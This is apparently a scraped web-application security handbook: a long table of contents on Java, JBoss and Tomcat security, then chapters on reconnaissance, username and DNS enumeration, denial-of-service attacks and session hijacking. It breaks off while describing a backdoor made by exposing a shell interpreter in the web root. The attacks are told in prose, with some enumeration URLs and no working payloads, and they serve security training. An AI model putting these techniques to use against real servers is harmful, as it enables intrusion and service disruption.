.......................................................................................................................... 172 Insecure APIs ....................................................................................................................... 173
  • 5. 4 | P a g e How to encode a URL string or form parameter in java ............................................................. 174 How to use URLEncoder to encode a string and URLDecoder to decode the encoded string ............................................................................................................................................. 175 Result................................................................................................................................... 175 Security code Scanning................................................................................................................ 193 Objectives................................................................................................................................ 193 Industry Application Security Offerings................................................................................... 193 Automated vs. Manual: Advantages ....................................................................................... 193 What Automated Solutions Miss............................................................................................. 194 Conducting the Assessment .................................................................................................... 194 Commercial Dynamic Scanning Tools...................................................................................... 195 Open Source and Low Cost Scanners ...................................................................................... 195 Code Scanning Tools................................................................................................................ 196 Client Side Web Proxies........................................................................................................... 196 Paros Proxy.............................................................................................................................. 197 W3af - Web application attack and audit framework............................................................. 199 IBM Rational App Scan ............................................................................................................ 204 HP Web Inspect ....................................................................................................................... 210 Summary.................................................................................................................................. 215 Enterprise Code Vulnerability Management........................................................................... 233 Cigital’s Enterprise Security Portal (ESP) ............................................................................. 233 Features and Benefits:............................................................................................................. 234 Submissions Portal .............................................................................................................. 234 Analysis – Getting Deeper Results....................................................................................... 234 Reporting............................................................................................................................. 235 Web Application.......................................................................................................................... 236 Gartnet Magic Quadrant ......................................................................................................... 236 WASC Web App Security Statistics.......................................................................................... 241 Summary.............................................................................................................................. 241 Data analysis........................................................................................................................ 242
  • 6. 5 | P a g e Data analysis according to PCI DSS requirements....................................................................... 251 APPENDIX 1: RISK ASSESSMENT METHODOLOGY....................................................................... 256 APPENDIX 2: ADDITIONAL VULNERABILITY CLASSIFICATION...................................................... 258 APPENDIX 3: STATISTICS.............................................................................................................. 259 Overall Data............................................................................................................................. 259 Automatic scans ...................................................................................................................... 262 Black Box.................................................................................................................................. 264 White Box................................................................................................................................ 266 OWASP Application Security Verification Standard (ASVS)......................................................... 269 Types of security verification .................................................................................................. 269 ASVS......................................................................................................................................... 269 ASVS Detailed requirements ................................................................................................... 270 ASVS Verification Requirements Matrix.................................................................................. 271 Quasi-scientific quantitative matrix analysis........................................................................... 272 Examples of what requirements CAN be verified by automatic code scan ............................ 272 Examples of what requirements CANNOT be verified using automated code scan............... 272 Problems in automatic source code scan................................................................................ 273 Mixing automation and manual work..................................................................................... 273 From manual review to automation ....................................................................................... 274 Conclusion ............................................................................................................................... 274 Using Automatic Tools to Discover Java Security & Reliability Vulnerabilities ....................... 275 Fortify 360: .......................................................................................................................... 275 Another Example:................................................................................................................ 277 Weak XML Schema: Type Any ............................................................................................. 281 Weak XML Schema: Lax Processing..................................................................................... 283 Passwords stored in clear text/base64 in code:.................................................................. 285 Unreleased Resource Streams............................................................................................. 286 Null Dereference ................................................................................................................. 289 Path Manipulation............................................................................................................... 291 Log Forging .......................................................................................................................... 294
  • 7. 6 | P a g e Command Injection ............................................................................................................. 297 Often Misused: Authentication........................................................................................... 299 Unreleased Resource: Database ......................................................................................... 301 Denial Of Service ................................................................................................................. 304 Password Management: Hardcoded Password................................................................... 307 SQL Injection: iBatis Data Map ............................................................................................ 309 Common Java Code Security Pitfalls ....................................................................................... 311 OWASP ESASPI 2...................................................................................................................... 318 ESAPI 2.0.1 API............................................................................................................................. 318 Java & OpenSSO ...................................................................................................................... 321 Importing the Root CA Certificate for Secure OpenSSO Rainbow Connections ................. 321 RedHat Security JBoss Software & Platform Provider............................................................. 322 JBOSS Security ............................................................................................................................. 335 What is JBoss........................................................................................................................... 335 J2EE Security Configuration and Architecture......................................................................... 335 8.1. J2EE Declarative Security Overview ................................................................................. 336 8.1.1. Security References................................................................................................... 339 8.1.2. Security Identity ........................................................................................................ 340 8.1.3. Security roles............................................................................................................. 341 8.2. An Introduction to JAAS................................................................................................ 347 The JBoss Security Model.................................................................................................... 354 8.5. The Secure Remote Password (SRP) Protocol.................................................................. 407 Secure JMX Console (Authentication Only)......................................................................... 436 Secure JMX Console (Access Control) ................................................................................. 438 Secure the JMX Invokers (Authentication Only).................................................................. 439 Secure the JMX Invokers (Authorization/Access Control)................................................... 440 4.2.1. Modifications Required (Use Case 1) ........................................................................ 440 ................................................................................................... 441 Integrate security infrastructures with JBossSX...................................................................... 442 JBossSX uses JAAS to integrate application servers and security infrastructures............... 442
  • 8. 7 | P a g e J2EE declarative security overview.............................................................................................. 443 Enterprise beans security references.................................................................................. 445 Web application security constraints...................................................................................... 448 Specify the security domain in JBoss........................................................................................... 449 What is JAAS? .......................................................................................................................... 452 The JAAS Core Classes ......................................................................................................... 452 Subject and Principal........................................................................................................... 452 Authentication classes......................................................................................................... 453 Inside the JBossSX JaasSecurityManager ................................................................................ 456 The JAAS in JaasSecurityManager ........................................................................................... 458 The security check ............................................................................................................... 458 JBossSX custom login modules................................................................................................ 460 JBossSX Subject usage patterns........................................................................................... 461 Support for the Subject usage pattern................................................................................ 461 Write a custom login module.............................................................................................. 464 An example.......................................................................................................................... 465 The tutorial1.ear contents................................................................................................... 470 Test the tutorial1.ear deployment from Java Client ........................................................... 483 example1-test0.................................................................................................................... 484 Exploring.............................................................................................................................. 486 Secure your J2EE apps............................................................................................................. 487 Removing the Invokers............................................................................................................ 488 HTTP Invokers...................................................................................................................... 488 HTTPInvoker for JNDI, EJB and JMX..................................................................................... 489 HTTPInvoker for JMS ........................................................................................................... 489 Other invokers..................................................................................................................... 489 SecureTheInvokers .................................................................................................................. 489 Enabling authentication to the RMIAdaptor service........................................................... 489 Enabling authorization to the RMIAdaptor service................................................................. 490 The RMI Class Loading Service ................................................................................................ 491
  • 9. 8 | P a g e Securing the RMI Dynamic ClassLoading Service ................................................................ 492 Removing the RMI Dynamic ClassLoading Service.............................................................. 493 Secure Using a Tomcat (or another webserver) for dynamic classloading......................... 493 JBossMQ Security Configuration ............................................................................................. 493 Identify a security domain................................................................................................... 493 Configure MDB:s to use security......................................................................................... 494 Use authenticated connections in client code.................................................................... 495 Configure security on the topics and queues...................................................................... 495 Disable Security ................................................................................................................... 495 Removing HSQLDB................................................................................................................... 496 JBoss 3.2 and 4.0.x............................................................................................................... 496 JBoss AS 5.x.x....................................................................................................................... 497 Configuring JBoss for use Behind a Firewall........................................................................ 497 One possible configuration for RMI through a firewall....................................................... 499 PooledInvoker...................................................................................................................... 500 Using mod_proxy with JBoss bundle and Apache2.2.x....................................................... 502 Whentousemod_jkandwhentousemod_proxyforload-balancing............................................. 504 Whentousemod_proxy+mod_proxy_httpandmod_proxy+mod_proxy_ajpforload-balancing.... 505 Usingstickysessions:................................................................................................................... 505 Goingoverthe8KAJPheaderslimits: ........................................................................................... 505 Set Up A Keystore................................................................................................................ 506 SSLSetup .............................................................................................................................. 506 Using a trusted certificate obtained from a well known CA ............................................... 508 Authenticationscenarios............................................................................................................. 509 Setup..................................................................................................................................... 509 UseCases .............................................................................................................................. 509 1-SSLenabledontheserver-thecommoncase....................................................................... 509 4-SSLenabledontheserverwithanopensslCAissuedclientcert-akamutualauthenticationwithCA issuedclientcert..................................................................................................................... 515 Another(untested)keystore/opensslrecipe:................................................................................. 517
  • 10. 9 | P a g e Limiting client access using Tomcat (Engine, Host, or Context level) ................................. 520 Limitingclientaccessusingaservletfilter(Servletorurl-patternlevel).......................................... 521 ConfiguringAJavaSecurityManager............................................................................................... 522 HowtoRunJBosswithaJavaSecurityManager ............................................................................ 522 SetUpAMysqlDatasource ............................................................................................................ 523 SettingupaMySQLdatasource.................................................................................................... 524 Downloadthedriver............................................................................................................... 524 Configurethedatasource........................................................................................................ 524 JBossMQ ............................................................................................................................... 525 Troubleshooting..................................................................................................................... 525 Examples............................................................................................................................... 525 jGuard...................................................................................................................................... 526 jBoss......................................................................................................................................... 527 DWR.............................................................................................................................................. 528 securingDWRwithjGuard................................................................................................................. 529 install DWR in the webapp...................................................................................................... 529 DWR.xml.................................................................................................................................. 529 DWR1Permission : a dedicated Permission............................................................................. 529 DWR1AccessControl................................................................................................................ 530 what's about jGuard and DWR interactions?.......................................................................... 530 Chapter 3. security architecture.............................................................................................. 531 3.1. securing an application..................................................................................................... 531 3.1.1. java security architecture.......................................................................................... 531 Note..................................................................................................................................... 532 Caution ................................................................................................................................ 533 3.2. Which jGuard security scopes? ........................................................................................ 533 3.2.1. jGuard and jee users.................................................................................................. 533 3.2.2. security scopes .......................................................................................................... 533 3.3. debugging......................................................................................................................... 534 3.4. configuration files............................................................................................................. 535
  • 11. 10 | P a g e 3.4.1. configuration files used in every context (standalone and web applications).......... 535 Chapter 4. java authentication................................................................................................ 538 4.1. Overall Authentication part.............................................................................................. 538 4.2. AuthenticationManager ................................................................................................... 539 4.2.1. description................................................................................................................. 539 4.2.2. configuration ............................................................................................................. 539 4.2.3. implementations ....................................................................................................... 540 4.3. JAAS Authentication process............................................................................................ 542 4.3.1. javax.security.auth.login.LoginContext ..................................................................... 542 4.3.2. javax.security.auth.callback.CallbackHandler ........................................................... 542 4.3.3. loginModules............................................................................................................. 543 4.3.4. javax.security.auth.login.Configuration .................................................................... 558 4.3.5. javax.security.auth.Subject ....................................................................................... 558 User Security and Access Control in JBoss portals .................................................................. 558 Authentication......................................................................................................................... 559 Authorization........................................................................................................................... 560 User and role management......................................................................................................... 560 The portal permission.................................................................................................................. 562 The authorization provider.......................................................................................................... 562 Making a programmatic security check ...................................................................................... 563 Configuring an authorization domain ......................................................................................... 564 LDAP configuration.................................................................................................................. 565 Single sign-on........................................................................................................................... 567 Implementing security improvements in the JBossAS ............................................................ 571 JMX Console ........................................................................................................................ 571 Enabling JMX Console security in JBoss 5.0 and previous versions .................................... 572 Enabling the JMX Invokers security in all JBoss versions .................................................... 573 Enabling the JMX Console security in JBoss 6.0 .................................................................. 573 Securing the server for production environments.................................................................. 574 Securing the JBPM Console ................................................................................................. 574
  • 12. 11 | P a g e Securing Web Services in JBoss Application Server with WS-Security.................................... 575 Encrypting web messages ................................................................................................... 577 Generating the certificate ................................................................................................... 578 Securing the server using WS-Security................................................................................ 580 Securing the client using WS-Security................................................................................. 583 Summary.............................................................................................................................. 588 JAAS – Authentication with JBOSS, FORM-BASED................................................................... 588 Java Authentication and Authorization Service, Form based Authentication .................... 588 Authentication using JAAS....................................................................................................... 597 What is JAAS? ...................................................................................................................... 597 Classes and interfaces ......................................................................................................... 598 Administration..................................................................................................................... 599 Application interface ........................................................................................................... 599 Security system integration................................................................................................. 599 What are authentication and authorization?...................................................................... 600 The process of authentication............................................................................................. 600 JAAS configuration in detail................................................................................................. 601 Authentication with a SecurityManager ............................................................................. 604 EncryptingDataSourcePasswords................................................................................................ 605 Asimpleloginmoduleforencryptingadatasourcepassword ......................................................... 605 JBoss AS 3.2.x....................................................................................................................... 606 JBoss AS 4.0.x or 4.2.x.......................................................................................................... 606 JBoss AS 5.1.x....................................................................................................................... 606 A KeyStore based login module for encrypting a datasource password............................. 608 org.jboss.mq.security.SecurityManager.............................................................................. 612 Security (http://wiki.apache.org/tapestry/Tapestry5HowTos) .............................................. 618 Authentication and Authorization related .......................................................................... 618 Integrity ............................................................................................................................... 618 Server Hardening – Implementation Guide (Apache Proxy, Apache Tomcat, Oracle, CentOS).. 620 Add YUM RPM Repositories .................................................................................................... 622
  • 13. 12 | P a g e Add RPMForge..................................................................................................................... 622 Add EPEL.............................................................................................................................. 622 Update the Machine................................................................................................................ 622 Apache Hardening................................................................................................................... 623 Apache SSL Hardening:........................................................................................................ 623 Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 624 Mod_Security – An OpenSource Web Application Firewall................................................ 625 1.1 Disabling Dangerous HTTP Verbs .................................................................................. 628 1.1.1. Disable TRACE Method........................................................................................ 628 1.1.2. Rewrite Against TRACE/TRACK............................................................................ 628 1.1.3. Rewrite Get, Head & Post as a Whitelist............................................................. 629 1.2. Define Server Hostname ............................................................................................. 629 1.3. Mail Username root exposes Linux Usage .................................................................. 629 1.4. Remove Script Aliases for unused directories (such as cgi-bin…) ............................... 629 2. Operating System (CentOS 5.5) Hardening:........................................................................ 632 2.1. Remove unrequired packages..................................................................................... 632 2.2. Remove system messages/banners ............................................................................ 632 2.3. Harden SSH.................................................................................................................. 633 2.3.1. Upgrading SSH (from default 3.4 to stable 5.8p2) .............................................. 633 2.3.2. Harden Server Configuration............................................................................... 634 2.3.3. Harden the SSH Client ......................................................................................... 635 2.4. Disable IPv6 ................................................................................................................. 635 2.5. Disable unused/unrequired services........................................................................... 635 2.6. Add Scary banner message.......................................................................................... 637 2.7. TCP/IP Hardening ........................................................................................................ 637 2.8. IPTables ....................................................................................................................... 637 3. Apache Tomcat 6.0 Hardening: ........................................................................................... 639 3.1. Tomcat Session ID default name modification:........................................................... 639 3.2. Tomcat session HTTPOnly flag: ................................................................................... 639 3.3. Tomcat – Change Server Banner:................................................................................ 639
  • 14. 13 | P a g e 3.4. Tomcat – Change Tomcat Port to Listen Only Internally:............................................ 640 3.5. Tomcat – Disable The HTTP Verb Trace: ..................................................................... 640 3.6. Tomcat – Define an index page:.................................................................................. 641 3.7. Tomcat – One single custom error page for all errors: ............................................... 641 3.8. Tomcat – Remove Tomcat Example Scripts: ............................................................... 644 3.9. Tomcat – Remove Tomcat Manager application: ....................................................... 644 4. SELinux – Optional Hardening:............................................................................................ 645 4.1. SELinux Apache Hardening.......................................................................................... 645 4.2. SELinux for other services (Experts Only).................................................................... 645 4.2.1. Enable Hardened HTTP........................................................................................ 645 4.2.2. Disable FTP .......................................................................................................... 646 4.2.3. Disable NIS Clients............................................................................................... 646 Apache and Tomcat Security................................................................................................... 646 Policy File Format ................................................................................................................ 649 The Default Policy File ......................................................................................................... 649 Starting Tomcat With A SecurityManager........................................................................... 654 The Default Properties File.................................................................................................. 654 Apache tomcat Website Code Examples – What NOT TO DO ................................................ 664 1. Create/edit the XML file .................................................................................................. 664 2. Code Your Application's Use Of This Resource................................................................ 664 3. Code Your Application's Use Of This Resource................................................................ 665 Java Based SQL Servers: .......................................................................................................... 665 HSQLDB - 100% Java Database http://hsqldb.org/ ............................................................. 665 Connecting Apache to MySQL in SSL....................................................................................... 667 Generating an internal SSL Certificate (for tomcat)................................................................ 667 Create the self-signed keystore........................................................................................... 667 Turn the keystore into a X.509 certificate........................................................................... 667 Delete existing trusted certificate....................................................................................... 667 Import the certificate into cacerts – JRE trusted certificates.............................................. 667 Fixing Tomcat’s binding problems....................................................................................... 668
  • 15. 14 | P a g e Using an SSL enforcing Connection string........................................................................... 668 How to configure MySQL DataSource in Tomcat 6 ................................................................. 669 Creating a JDBC by code:..................................................................................................... 671 package jdbctest;................................................................................................................. 671 Alternatives to JDBC .................................................................................................................... 672 HA-JDBC: High-Availability JDBC.............................................................................................. 672 Overview.................................................................................................................................. 672 Features................................................................................................................................... 672 Dependent Libraries................................................................................................................ 672 Related Software..................................................................................................................... 672 I need to pass additional parameters to my JDBC driver. How can I specify these in my HA- JDBC configuration? ............................................................................................................ 673 How does HA-JDBC compare to Sequoia?........................................................................... 673 Tomcat Security........................................................................................................................... 676 Apache Tomcat 7..................................................................................................................... 699 More on Cat's Configuration ............................................................................................ 699 Deploying Your Web Application in Tomcat............................................................. 699 Tomcat's Manager........................................................................................................... 702 Tomcat with SSL .............................................................................................................. 702 User Authentication in Tomcat.................................................................................... 703 Database Connection Pool (for MySQL) .................................................................... 709 Installing SSL Support & Certificate on Apache Tomcat.......................................................... 713 Configure Tomcat's Resource Factory................................................................................. 725 Assiting software from the Linux world ...................................................................................... 735 Authbind.................................................................................................................................. 735 FreeBSD jail.............................................................................................................................. 735 Goals.................................................................................................................................... 736
  • 16. 15 | P a g e Introduction to Web Application Security Foot-printing visiting Reconnaissance Reconnaissance is the step where the attacker attempts to retrieve as much information as possible on the target. Reconnaissance is truly an art and is one of the most important stages of the attack process. It is the eyes of the hacker on the hacking court and without it he must attack blindly, minimizing the odds of success to its minimum. Foot-Printing each Service Server Software Name and Version Foot-Printing HTTP Servers Getting the server type and disclosing internal information such as the local machine’s internal name, internal IP, usage of a proxy or a reverse proxy and etc… The following error page reveals that the server is Apache Tomcat, the Machine’s internal name and that the error source was the proxy component: The following reveals the server’s type and its exact version:
  • 17. 16 | P a g e It is possible to change the values of the request parameters, retrieve application errors and determine the operating system and the local path of the website root folder: It is possible to identify the server type, the development platform, and installed plugins by inspecting the returned HTTP headers and the supported HTTP Methods.
  • 18. 17 | P a g e
  • 19. 18 | P a g e
  • 20. 19 | P a g e Enumeration Overview of System Hacking Cycle Enumerating the allowed HTTP Methods on a Web Server:
  • 21. 20 | P a g e Enumerating Usernames Using Google Exposed Configuration Files
  • 22. 21 | P a g e Private User Directories Apache User Enumeration http://www.example.com/~<username> When a remote user makes a request for a possible user's default home page, the server returns one of three responses:  In a case where username is a valid user account, and has been configured with a homepage, the server responds with the user's homepage.  When username exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server."  If the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server." or refers to the default error page configured for this error. For Example:
  • 23. 22 | P a g e When the user doesn’t exit, it redirects to the website main page: WordPress Authors Template User Enumeration Vulnerability There are other places where you might be able to find some usernames. A good example is WordPress author templates which allow you to extract usernames through URLs with the following syntax: /wordpress/author/authorname/ i.e.: http://www.target-domain.com/wordpress/author/admin/ http://www.target-domain.com/wordpress/author/root/ A case when the user doesn’t exist:
  • 24. 23 | P a g e A case when the user exists:
  • 25. 24 | P a g e DNS Enumeration A penetration test project beings in collecting information and mapping all the remotely accessible organization’s servers. The Domain Name Server can be used to extract some of the existing subdomains and discover more IPs, with different server types, from Web Servers to Firewalls, VPNs and Citrix Servers. The DNS sub domains can be enumerated by using a dictionary of common sub domain names such as “mail”, “webmail”, “vpn”, “backoffice”, “fw” and etc… In order to find customized sub domain names, an attacker must run a full remote brute force attack and is likely to disclose all subdomains names from 1 to 8 characters length with letters and numbers. Since the DNS protocols is UDP based, the brute force attack faster than most other network brute force attack. Dictionary Based DNS Enumeration
  • 26. 25 | P a g e Brute Forcing DNS Sub-Domains
  • 27. 26 | P a g e Denial-of-Service Real World Scenario of D.o.S Attacks Ping of Death A ping of death (abbreviated "POD") is a type of attack on a computer that involves sending a malformed or otherwise malicious ping to a computer. A ping is normally 32bytes in size (or 84 bytes when IP header is considered); historically, many computer systems could not handle a ping packet larger than the maximum IPv4 packet size, which is 65,535 bytes. Sending a ping of this size could crash the target computer. In early implementations of TCP/IP, this bug was easy to exploit. This exploit has affected a wide variety of systems, including UNIX, Linux, Mac, Windows, printers, and routers. However, most systems since 1997-1998 have been fixed, so this bug is mostly historical. Generally, sending a 65,536 byte ping packet is illegal according to the IP protocol, but a packet of such a size can be sent if it is fragmented; when the target computer reassembles the packet, a buffer overflow can occur, which often causes a system crash. In recent years, a different kind of ping attack has become widespread - ping flooding simply floods the victim with so much ping traffic that normal traffic fails to reach the system (a basic denial-of-service attack). Permanent denial-of-service attacks – PDOS A permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack that damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the distributed denial-of-service attack, a PDoS attack exploits security flaws which allow remote administration on the management interfaces of the victim's hardware, such as routers, printers, or other networking hardware. The attacker uses these vulnerabilities to replace a device's firmware with a modified, corrupt, or defective firmware image—a process which when done legitimately is known as flashing. This therefore "bricks" the device, rendering it unusable for its original purpose until it can be repaired or replaced. The PDoS is a pure hardware targeted attack which can be much faster and requires fewer resources than using a botnet in a DDoS attack. Because of these features, and the potential and high probability of security exploits on Network Enabled Embedded Devices (NEEDs), this technique has come to the attention of numerous hacker communities. PhlashDance is a tool created by Rich Smith (an employee of Hewlett-Packard's Systems Security Lab) used to detect and demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference in London.
  • 28. 27 | P a g e IP Spoofing Land Attack The attack involves sending a spoofed TCP SYN packet (connection initiation) with the target host's IP address and an open port as both source and destination. The reason a LAND attack works is because it causes the machine to reply to itself continuously. Definition: "A LAND attack involves IP packets where the source and destination address are set to address the same device."[Citation needed]
  • 29. 28 | P a g e Other land attacks have since been found in services like SNMP and Windows 88/TCP (Kerberos/global services) which were caused by design flaws where the devices accepted requests on the wire appearing to be from them and causing replies repeatedly. SYN Flood A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system. Some systems can mis-detect a SYN Flood when being scanned for open proxies, as commonly done by IRC servers and services. These are not SYN Floods, merely an automated system designed to check the connecting IP. When a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this:  The client requests a connection by sending a SYN (synchronize) message to the server.  The server acknowledges this request by sending SYN-ACK back to the client.  The client responds with an ACK, and the connection is established.  This is called the TCP three-way handshake, and is the foundation for every connection established using the TCP protocol. The SYN flood is a well-known type of attack and is generally not effective against modern networks. It works if a server allocates resources after receiving a SYN, but before it has received the ACK. There are two methods, but both involve the server not receiving the ACK. A malicious client can skip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes the server send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In both cases the server will wait for the acknowledgement for some time, as simple network congestion could also be the cause of the missing ACK. If these half-open connections bind resources on the server, it may be possible to take up all these resources by flooding the server with SYN messages. Once all resources set aside for half- open connections are reserved, no new connections (legitimate or not) can be made, resulting in denial of service. Some systems may malfunction badly or even crash if other operating system functions are starved of resources this way. The technology often used in 1996 for allocating resources for half open TCP connections involved a queue which was often very short (e.g., 8 entries long) with each entry of the queue being removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). When the queue was full, further connections failed. With the examples above, all further connections would be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every
  • 30. 29 | P a g e 3 minutes would prevent all further TCP connections from completing. This allowed for a Denial of Service attack with very minimal traffic. SYN cookies provide protection against the SYN flood by eliminating the resources allocated on the target host. Limiting new connections per source per timeframe is not a general solution since the attacker can spoof the packets to have multiple sources. Reflector routers can also be used as attackers, instead of client machines. Normal: SYN-flood:
  • 31. 30 | P a g e SYN Flood + IP Spoofing
  • 32. 31 | P a g e Reflected attack: Source IP Spoofing + SYN Sent
  • 33. 32 | P a g e Distributed attack – DDOS A distributed denial of service attack (DDoS) occurs when multiple systems flood the bandwidth or resources of a targeted system, usually one or more web servers. These systems are compromised by attackers using a variety of methods. Malware can carry DDoS attack mechanisms; one of the better-known examples of this was MyDoom. Its D.o.S mechanism was triggered on a specific date and time. This type of DDoS involved hardcoding the target IP address prior to release of the malware and no further interaction was necessary to launch the attack.
  • 34. 33 | P a g e A system may also be compromised with a Trojan, allowing the attacker to download a zombie agent (or the Trojan may contain one). Attackers can also break into systems using automated tools that exploit flaws in programs that listen for connections from remote hosts. This scenario primarily concerns systems acting as servers on the web. Stacheldraht is a classic example of a DDoS tool. It utilizes a layered structure where the attacker uses a client program to connect to handlers, which are compromised systems that issue commands to the zombie agents, which in turn facilitate the DDoS attack. Agents are compromised via the handlers by the attacker, using automated routines to exploit vulnerabilities in programs that accept remote connections running on the targeted remote hosts. Each handler can control up to a thousand agents. These collections of systems compromisers are known as botnets. DDoS tools like stacheldraht still use classic D.o.S attack methods centered on IP spoofing and amplification like smurf attacks and fraggle attacks (these are also known as bandwidth consumption attacks). SYN floods (also known as resource starvation attacks) may also be used. Newer tools can use DNS servers for D.o.S purposes. See next section. Simple attacks such as SYN floods may appear with a wide range of source IP addresses, giving the appearance of a well distributed DDoS. These flood attacks do not require completion of the TCP three way handshake and attempt to exhaust the destination SYN queue or the server bandwidth. Because the source IP addresses can be trivially spoofed, an attack could come from a limited set of sources, or may even originate from a single host. Stack enhancements such as SYN cookies may be effective mitigation against SYN queue flooding, however complete bandwidth exhaustion may require involvement Unlike MyDoom's DDoS mechanism, botnets can be turned against any IP address. Script kiddies use them to deny the availability of well-known websites to legitimate users. More sophisticated attackers use DDoS tools for the purposes of extortion — even against their business rivals. It is important to note the difference between a DDoS and D.o.S attack. If an attacker mounts an attack from a single host it would be classified as a D.o.S attack. In fact, any attack against availability would be classed as a Denial of Service attack. On the other hand, if an attacker uses a thousand systems to simultaneously launch smurf attacks against a remote host, this would be classified as a DDoS attack. The major advantages to an attacker of using a distributed denial-of-service attack are that multiple machines can generate more attack traffic than one machine, multiple attack machines are harder to turn off than one attack machine, and that the behavior of each attack machine can be stealthier, making it harder to track down and shut down. These attacker advantages cause challenges for defense mechanisms. For example, merely purchasing more incoming
  • 35. 34 | P a g e bandwidth than the current volume of the attack might not help, because the attacker might be able to simply add more attack machines. It should be noted that in some cases a machine may become part of a DDoS attack with the owner's consent. An example of this is the 2010 DDoS attack against major credit card companies by supporters of WikiLeaks. In cases such as this, supporters of a movement (in this case, those opposing the arrest of WikiLeaks founder Julian Assange) choose to download and run DDoS software. Amplification/Smurf attack The Smurf attack is a way of generating significant computer network traffic on a victim network. This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping messages.
  • 36. 35 | P a g e This attack relies on a perpetrator sending a large amount of ICMP echo request (ping) traffic to IP broadcast addresses, all of which have a spoofed source IP address of the intended victim. If the routing device delivering traffic to those broadcast addresses delivers the IP broadcast to all hosts (for example via a layer 2 broadcast), most hosts on that IP network will take the ICMP echo request and reply to it with an echo reply, multiplying the traffic by the number of hosts responding. On a multi-access broadcast network, hundreds of machines might reply to each packet. In the late 1990s, many IP networks would participate in Smurf attacks (that is, they would respond to pings to broadcast addresses). Today, thanks largely to the ease with which administrators can make a network immune to this abuse, very few networks remain vulnerable to Smurf attacks. The fix is two-fold: Configure individual hosts and routers not to respond to ping requests or broadcasts. Configure routers not to forward packets directed to broadcast addresses. Until 1999, standards required routers to forward such packets by default, but in that year, the standard was changed to require the default to be not to forward. Another proposed solution, to fix this as well as other problems, is network ingress filtering which rejects the attacking packets on the basis of the forged source address. An example of configuring a router not to forward packets to broadcast addresses, for a Cisco router, is: Router(config-if)# no ip directed-broadcast (This example does not prevent a network from becoming the target of Smurf attack; it merely prevents the network from "attacking" other networks, or better said, taking part in a Smurf attack.) A Smurf amplifier is a computer network that lends itself to being used in a Smurf attack. Smurf amplifiers act to amplify (worsen the severity of) a Smurf attack because they are configured in such a way that they generate a large number of ICMP replies to a spoofed source IP address (the victim of the attack).
  • 37. 36 | P a g e Session Hi-Jacking - What is Session Hi-Jacking? • Taking over an active session to a computer system • In order to attack the system, the attacker must know the protocol/method being used to handle the active sessions with the system • In order to attack the system, the attacker must achieve the user’s session identifier (session id, session hash, token, IP) • The most common use of Session Hi-jacking revolves around textual protocols such as the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION parameter located HTTP Cookie Header aka “The Session Cookie” • Most common scenarios of Session Hi-Jacking is done with combination with: • XSS - Where the session cookie is read by an attacker’s JavaScript code • Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the attacker’s machine, which becomes the victim’s gateway
  • 38. 37 | P a g e
  • 39. 38 | P a g e
  • 40. 39 | P a g e
  • 41. 40 | P a g e
  • 42. 41 | P a g e
  • 43. 42 | P a g e Hacking Web Servers How Web Servers Work According to the research made by Ponemon Institute, web hacking and web based attacks are the most costly for companies. The research results can be seen here: These is a techniques rely purely on HTTP traffic to attack and penetrate web servers and application servers. This technique was formulated to demonstrate that having tight firewalls or SSL does not really matter when it comes to web application attacks. The premise of the one-way technique is that only valid HTTP requests are allowed in and only valid HTTP responses are allowed out of the firewall. Components of a generic web application system There are four components in web application systems, namely the web client which is usually a browser, the front-end web server, the application server and for a vast majority of applications, the database server. The following diagram shows how these components fit together.
  • 44. 43 | P a g e The web application server hosts all the application logic, which may be in the form of scripts, objects or compiled binaries. The front-end web server acts as the application interface to the outside world, receiving inputs from the web clients via HTML forms and HTTP, and delivering output generated by the application in the form of HTML pages. Internally, the application interfaces with back-end database servers to carry out transactions. The firewall is assumed to be a tightly configured firewall, allowing nothing but incoming HTTP requests and outgoing HTML replies. URL mappings to the web application system While interacting with a web application, the URLs that get sent back and forth between the browser and the web server typically have the following format: http:// server / path / application? Parameters The following diagram illustrates how different parts of the URL map to various areas in the web application system:
  • 45. 44 | P a g e  The protocol (http or https) is allowed in and out by the firewall.  The server and path parts are parsed by the front-end web server. Any vulnerabilities present in URL interpretation (e.g. Unicode, double-decode) can be exploited by tampering with the server and path of the URL.  The application is executed by the application server with which it is configured or registered. Tampering with this part may result in exploiting vulnerabilities present with the application server. (e.g. compiling and executing arbitrary files using the JSP servlet handler)  Parameters supplied to the application, if not properly validated, may result in vulnerabilities specific to that application. (e.g. inserting pipe "|" characters to the open() call in Perl)  If a parameter is used as a part of an SQL database query, poorly validated parameters may lead to SQL injection attacks. (e.g. execution of arbitrary commands using stored procedures such as "xp_cmdshell") Flowchart for a one-way web hack Consider the example where an attacker finds a vulnerable web application, and is able to exploit it using techniques such as the ones mentioned previously. The attacker has achieved arbitrary command execution, but due to the restrictive firewall, is unable to proceed further into the network. To make an attack effective, two things are essential: 1. Interactive terminal access - for running commands to pilfer the attacked server or penetrate further into the network. 2. File transfer access - for transferring attack tools such as port scanners, rootkits, etc. A tight firewall can make it very difficult to achieve the above objectives; however, it is not impossible. To get around these restrictions, with a little bit of web application programming knowledge, we can create a web based command prompt and a file uploader.
  • 46. 45 | P a g e Before proceeding further we shall take a preview of the various stages of the one-way hack, as illustrated by the following diagram: Finding the entry point The one-way hack begins when we are able to achieve remote command execution on the target web server. We can use any of the common techniques used to attack web servers. We shall present a few examples of various ways of achieving remote command execution based on different types of URL mappings as described previously. A detailed discussion on web server and application vulnerabilities is beyond the scope of this paper. Our objective is to create a backdoor by moving the shell interpreter (/bin/sh, cmd.exe, etc.) to an area within the web server's document root. This way, we can invoke the shell interpreter through a URL. We present three examples which illustrate how to create backdoors using various exploitation techniques. The diagram below illustrates some of the techniques used to find an entry point:
